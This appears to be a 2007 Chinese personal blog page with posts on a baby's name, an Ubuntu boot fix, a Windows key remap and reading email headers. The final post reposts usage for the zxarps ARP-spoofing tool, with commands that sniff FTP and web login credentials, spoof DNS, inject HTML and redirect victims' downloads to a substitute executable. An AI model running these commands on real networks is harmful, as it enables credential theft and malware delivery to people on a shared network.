最后要说的是,楚姐送宝宝的礼物,在老家我打开发现里面还有张卡片,有楚姐、周宁、越武和小伊给宝宝起的名字和祝福,真的让我很感动。楚姐最是为我的宝宝费心了,为宝宝的名字楚姐去英特网找好名字,我给宝宝起的刘创的名字给楚姐测出来只打75分,楚姐给起的刘星辰(超毅也起过这名字)和刘湘湘分别打99.5(完美了)和85的高分,呵呵J

 

浏览数(820) | 评论数(6) | 2007-12-06
baby's photo  

浏览数(848) | 评论数(3) | 2007-12-04
MY BABY  

我的宝宝还有三十多天就要出生了,我却还在云南忙项目,而且这个项目估计要弄到12月底

 

宝宝的名字还没有想好

 

 

就要从儿子的身份变成父亲了,希望我的宝宝将来是个有出息的人,胜过他爸爸,一生幸福,快乐

浏览数(677) | 评论数(4) | 2007-10-19
IBM thinkpad T42的破机上用虚拟机装Ubuntu-server,浪费了几个小时,终于找到原因了  

  今天在vmware server 上安装了Ubuntu Server 6.10。安装一切顺利,但无法启动。提示
              "Unknown interrupt or fault at EIP 00000060 c0100295 00000294"。
网上搜了一下,原来是server kernel在编译时打开了HIGHMEM64G支持,需要CPU支持PAE才行。试了他们的方法可以解决步骤如下:

使用ubuntu server安装光盘启动,选择"Rescue a broken system"选项,然后进行配置,在进行到"Rescue operations"的时候,选择"Execute a shell in /dev/hda1"(后面的路径会根据你的根分区而有所不同),然后运行"apt-get install linux-686",也就是安装新的generic内核(要有耐心速度相当慢),安装完成重启就OK了。

 

于2008年11月2日再用T42装Ubuntu Server 8.10,同样的问题,不过包的名字有点变化,如果还是linux-686的话是找不到这外包了,

apt-get install linux-generic

 

成功

浏览数(891) | 评论数(0) | 2007-08-08
imb thinkpad win 键的烦恼 zz  

通过注册表来修改键位的方法
  
Keyboard Customizer Utility虽然提供win键的功能,但可选项太少。如果直接改注册表,就可以将任意键定义成其它键。
  
将以下等号间的文字copy到记事本中,存为.reg文件,再导入注册表,重启动,就可以实现将右Alt键定义为左Win键的功能(对2000及XP有效)
  
===================================================
Windows Registry Editor Version 5.00
  
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout]
"Scancode Map"=hex:00,00,00,00,00,00,00,00,\
02,00,00,00,\
5b,e0,38,e0,\
00,00,00,00
===================================================
  
解释一下
Value                    Interpretation  
0x00000000          Header: Version. Set to all zeroes.  
0x00000000          Header: Flags. Set to all zeroes.  
0x00000002          Two entries in the map (including null entry).  
0xE038E05B          Right ALT key --&gt; Windows key (0xE038 --&gt; 0xE05B).  
0x00000000          Null terminator.  
  
比较一下将左Alt键定义为左Win键的功能的注册表文件吧
===================================================
Windows Registry Editor Version 5.00
  
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout]
"Scancode Map"=hex:00,00,00,00,00,00,00,00,\
02,00,00,00,\
5b,e0,38,00,\
00,00,00,00
===================================================
就是右alt键的scancode:e038变成了左alt键的scancode:0038
  
大家自己想怎么改,就自己试吧
各个键位的scancode map在这儿下载:  
http://download.microsoft.com/download/whistler/hwdev3/1.0/WXP/EN-US/scancode.exe
  
以上方法对ps2键盘有效,usb键盘的scancode map跟ps2键盘不一样,对照表在这儿:
http://www.microsoft.com/hwdev/download/tech/input/translate.pdf

标签:乱弹琴 | 浏览数(940) | 评论数(0) | 2007-08-06
上安焦首页了,庆祝一下,嘎嘎  

http://www.xfocus.net/articles/200707/929.html

 

烂文在安焦发表了,自己庆祝一下,嘎嘎!

标签:技术文章 | 浏览数(974) | 评论数(0) | 2007-07-28
如何查看邮件信头  

转载

http://www.edu.cn/20030924/3091744.shtml

 

这个用于追踪邮件发送的IP地址与垃圾邮件的源头非常有效

 

另附上安焦大牛Refdom《追踪垃圾邮件来源》一文,点击下面下载

 

www.i170.com/Attach/38146837-4B26-4ED9-9FDC-1BAD516B8FE3

 

 

 

 

如何查看邮件信头
 
 
 

  1. Outlook Express(windows预装)
  2. Microsoft Outlook(office 套件)
  3. FoxMail
  4. Hotmail web mail
  5. Lotus Notes
  6. Sina Web Mail
  1. Microsoft Outlook Express
  第一步:选中邮件,鼠标右击邮件的主题,在下拉菜单中选择“属性”,如下图:

  第二步:在属性窗口中点击“详细信息”,如下图:


  通过窗口,您就可以看到该邮件标头的详细信息了。为了查看方便,可以单击”邮件来源”,就会放大当前的窗口。
  2. Microsoft Outlook
  第一步:选中邮件,鼠标右击邮件的主题,在下拉菜单中选择“选项(P)...”,如下图:

  第二步:在打开的“邮件选项”属性窗口的底部就可以找到邮件信头,如下图:

  3.Foxmail
  第一步:选中邮件,鼠标右击邮件的主题,在下拉菜单中选择“原始信息(Ctrl+I)...”,如下图:

  第二步:在打开的“邮件选项”属性窗口的底部就可以找到邮件信头,如下图:

  4. Hotmail Web Mail
  第一步:单击“选项” 栏,如下图:

  第二步:在“其它选项” 栏中,选择“邮件显示”设置,如下图:

  第三步:在“邮件头”的选项栏中,选择“高级”或“完整”,按“确定”,如下图:

  第四步:经过以上设置,打开邮件时即可显示邮件的信头路由信息,如果选择了“完整”,还可以查看邮件的源文件,如下图:

  5. Lotus Notes
  第一步:打开邮件,在菜单栏上依次选择“操作(Actions)”,“tools”,“Delivery Information” ,如下图:

 

  第二步:弹出的窗口中即可看到邮件的路由信息,如下图:

  6. 新浪WEB邮件
  在菜单栏上依次选择"查看源信“,就可以看到邮件的完整信息,如下图:

浏览数(1112) | 评论数(0) | 2007-07-02
猛兽多是懒汉  

转自哇~老大之blog

 

这是一个奇怪的现象:猛兽大部分时间是慵懒的。猛虎肉醉,狮王常睡。越是在短时间爆发出迅猛搏杀的,越需要长时间养精蓄锐。狮、虎、豹、熊,多为懒汉,彻底放松,王者坦然。看看它们那种懒散随便的样子,就知道处于食物链顶端的肉食者何等自信。
  相反的一面就是草食动物基本上都是勤快的,要逐水草,要大迁徙,要不停地吃,要不停地生,还要随时提高警觉性,吃草要竖起耳朵,睡觉只能睁眼打个盹。马是站着睡觉的,除非病卧倒毙,不会躺下。在自然界,草食动物就是弱者,生存没有安全感,因而也没有懒的资格。
  人的社会不等同于自然界,但也不能完全摆脱自然法则。君不见,熙熙攘攘忙忙碌碌奔走求食之辈,多黑瘦勤快;懒懒散散不慌不忙稳坐高卧之流,皆肥白懒慢。固然,一个竞争激烈的社会,做一个真正的懒汉不容易了,但是当一个懒卧的狮子还是人生的高境界理想。首先,要有安全感,放心大胆地睡,没人能吃掉你。其次,要衣食住行无忧,不被贪欲所驱动。第三,知道自己是狮子,可为肉醉,不为肉累,保持那份坦然比多捞几只羚羊更珍贵。
  现在老是提倡进取,在物质利益方面,过于进取,则是贪欲。尤其当了狮子,贪则丑,懒则美。当一个懒汉是一种人生境界,因为,猛兽多是懒汉。

 

标签:乱弹琴 | 浏览数(1062) | 评论数(0) | 2007-06-26
zxarps.exe ARP欺骗工具 zz  

超毅介绍的,必属精品 

 

程序下载:

www.i170.com/Attach/5DBBB105-17CC-4202-AB44-68429C6DD0C1

(怕毒的请不要下载 )

 

 

 

程序代码

0. Realtek RTL8139

 IP Address. . . . . : 192.168.1.101

 Physical Address. . : 00-11-D8-6B-5E-19

 Default Gateway . . : 192.168.1.1

1. WAN (PPP/SLIP) Interface

 IP Address. . . . . : xx.xx.xx.xx

 Physical Address. . : 00-52-00-00-00-00

 Default Gateway . . : xx.xx.xx.xx

options:

 -idx [index] 网卡索引号

 -ip [ip] 欺骗的IP,用'-'指定范围,','隔开

 -sethost [ip] 默认是网关,可以指定别的IP

 -port [port] 关注的端口,用'-'指定范围,','隔开,没指定默认关注所有端口

 -reset 恢复目标机的ARP表

 -hostname 探测主机时获取主机名信息

 -logfilter [string]设置保存数据的条件,必须+-_做前缀,后跟关键字,

 ','隔开关键字,多个条件'|'隔开

 所有带+前缀的关键字都出现的包则写入文件

 带-前缀的关键字出现的包不写入文件

 带_前缀的关键字一个符合则写入文件(如有+-条件也要符合)

 -save_a [filename] 将捕捉到的数据写入文件 ACSII模式

 -save_h [filename] HEX模式

 -hacksite [ip] 指定要插入代码的站点域名或IP,

 多个可用','隔开,没指定则影响所有站点

 -insert [html code]指定要插入html代码

 -postfix [string] 关注的后缀名,只关注HTTP/1.1 302

 -hackURL [url] 发现关注的后缀名后修改URL到新的URL

 -filename [name] 新URL上有效的资源文件名

 -hackdns [string] DNS欺骗,只修改UDP的报文,多个可用','隔开

 格式: 域名|IP,www.aa.com|222.22.2.2,www.bb.com|1.1.1.1

 -Interval [ms] 定时欺骗的时间间隔,默认是3秒

 -spoofmode [1|2|3] 将数据骗发到本机,欺骗对象:1为网关,2为目标机,3为两者

 -speed [kb] 限制指定的IP或IP段的网络总带宽,单位:KB

example:

 嗅探指定的IP段中端口80的数据,并以HEX模式写入文件

 zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.50 -port 80 -save_h sniff.log

 FTP嗅探,在21或2121端口中出现USER或PASS的数据包记录到文件

 zxarps.exe -idx 0 -ip 192.168.0.2 -port 21,2121 -spoofmode 2 -logfilter "_USER ,_PASS" -save_a sniff.log

 HTTP web邮箱登陆或一些论坛登陆的嗅探,根据情况自行改关键字

 zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.50 -port 80 -logfilter "+POST ,+user,+pass" -save_a sniff.log

 用|添加嗅探条件,这样FTP和HTTP的一些敏感关键字可以一起嗅探

 zxarps.exe -idx 0 -ip 192.168.0.2 -port 80,21 -logfilter "+POST ,+user,+pass|_USER ,_PASS" -save_a sniff.log

 如果嗅探到目标下载文件后缀是exe等则更改Location:为http://xx.net/test.exe

 zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.12,192.168.0.20-192.168.0.30 -spoofmode 3 -postfix ".exe,.rar,.zip" -hackurl http://xx.net/ -filename test.exe

 指定的IP段中的用户访问到-hacksite中的网址则只显示just for fun

 zxarps.exe